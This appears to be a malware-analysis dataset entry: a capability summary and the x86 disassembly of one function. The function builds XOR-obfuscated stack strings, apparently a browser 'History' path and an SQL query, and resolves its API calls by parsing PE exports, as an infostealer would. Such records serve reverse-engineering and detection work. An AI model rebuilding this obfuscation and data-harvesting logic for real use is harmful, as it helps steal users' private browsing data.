Function at 0x4103b2
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xf0
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x80], ecx
call fcn.00419bf5
mov esi, eax
test esi, esi
je 0x4107a3
xor ebx, ebx
mov dword [esp + 0x30], 0x634c531a
mov dword [esp + 0x34], 0x4b4c5677
mov ecx, ebx
mov word [esp + 0x38], 0x4d50
mov byte [esp + 0x3a], 0x46
mov al, byte [esp + ecx + 0x30]
xor al, 0x3f
movzx eax, al
mov word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, 0xb
jl 0x4103f4
xor eax, eax
mov word [esp + 0xc2], ax
lea eax, [esp + 0xac]
push edi
push eax
call fcn.0041b73a
mov edi, eax
mov dword [esp + 0x80], edi
pop ecx
pop ecx
test edi, edi
je 0x4107a3
mov ecx, edi
call fcn.0041b794
mov ebp, eax
test ebp, ebp
je 0x41079c
xor edx, edx
mov ecx, ebp
call fcn.0041ba00
mov dword [esp + 0x84], eax
test eax, eax
je 0x410785
push ebx
push 1
lea ecx, [esp + 0x84]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x410770
mov dword [esp + 0x50], 0xd4ded9f6
mov ecx, ebx
mov dword [esp + 0x54], 0xc2d8d390
mov dword [esp + 0x58], 0xc5d9dddf
mov dword [esp + 0x5c], 0xd9d890dd
mov dword [esp + 0x60], 0xc2dfc4c3
mov dword [esp + 0x64], 0xd2d490c9
mov dword [esp + 0x68], 0xc3dc9590
mov byte [esp + 0x6c], 0xba
mov al, byte [esp + ecx + 0x50]
xor al, 0xb0
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 0x1d
jl 0x4104b8
mov byte [esp + 0xfd], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x5a535a4c
mov dword [esp + 0x14], 0x6a3f4b5c
mov dword [esp + 0x18], 0x3f33736d
mov dword [esp + 0x1c], 0x736b766b
mov dword [esp + 0x20], 0x4d593f7a
mov dword [esp + 0x24], 0x6a3f5250
mov word [esp + 0x28], 0x736d
mov byte [esp + 0x2a], 0x6c
mov al, byte [esp + ecx + 0x10]
xor al, 0x1f
mov byte [esp + ecx + 0xc4], al
inc ecx
cmp ecx, 0x1b
jl 0x410510
lea eax, [esp + 0xe0]
mov byte [esp + 0xdf], bl
push edi
push eax
call fcn.004125f4
push ebx
lea eax, [esp + 0x38]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xd8]
push eax
push dword [esp + 0x94]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x410768
push dword [esp + 0x2c]
lea edi, [esp + 0x48]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4106d2
mov dword [esp + 0x3c], 0x4b534e73
mov word [esp + 0x40], 0x1d42
mov byte [esp + 0x42], 7
mov dword [esp + 0x30], 0x593cf1f4
mov word [esp + 0x34], 0x2153
mov byte [esp + 0x36], 7
mov ecx, ebx
mov al, byte [esp + ecx + 0x3c]
xor al, 0x27
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 7
jl 0x41059f
mov byte [esp + 0x8f], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x30]
add al, 0x19
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 7
jl 0x4105bb
mov byte [esp + 0x97], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x10102720
mov dword [esp + 0x14], 0x10101010
mov dword [esp + 0x18], 0x10101010
mov dword [esp + 0x1c], 0x10101010
mov word [esp + 0x20], 0x2010
mov byte [esp + 0x22], 0x27
mov al, byte [esp + ecx + 0x10]
xor al, 0x2d
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, 0x13
jl 0x410603
lea eax, [esp + 0x88]
mov byte [esp + 0xab], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x48]
call fcn.0041b87d
pop ecx
push 1
push dword [esp + 0x30]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x34]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x90]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x94]
lea ecx, [esp + 0x48]
call fcn.0041b87d
pop ecx
push ebx
push dword [esp + 0x30]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x34]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x98]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x48]
call fcn.0041b87d
pop ecx
push dword [esp + 0x2c]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x41059d
cmp dword [esp + 0x44], ebx
je 0x410764
mov dword [esp + 0x10], 0x47405a7b
mov dword [esp + 0x14], 0x1c4a415c
mov dword [esp + 0x18], 0x6c405f16
mov dword [esp + 0x1c], 0x1d405f16
mov word [esp + 0x20], 0x4b47
mov byte [esp + 0x22], 0x47
mov al, byte [esp + ebx + 0x10]
xor al, 0x33
movzx eax, al
mov word [esp + ebx*2 + 0x50], ax
inc ebx
cmp ebx, 0x13
jl 0x410708
push dword [esp + 0x104]
xor eax, eax
push dword [esp + 0x84]
mov word [esp + 0x7e], ax
lea eax, [esp + 0x58]
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41075a
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x44]
push edi
call fcn.00418be5
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x44]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x78]
push dword [esp + 0x2c]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x7c]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x84]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf0
ret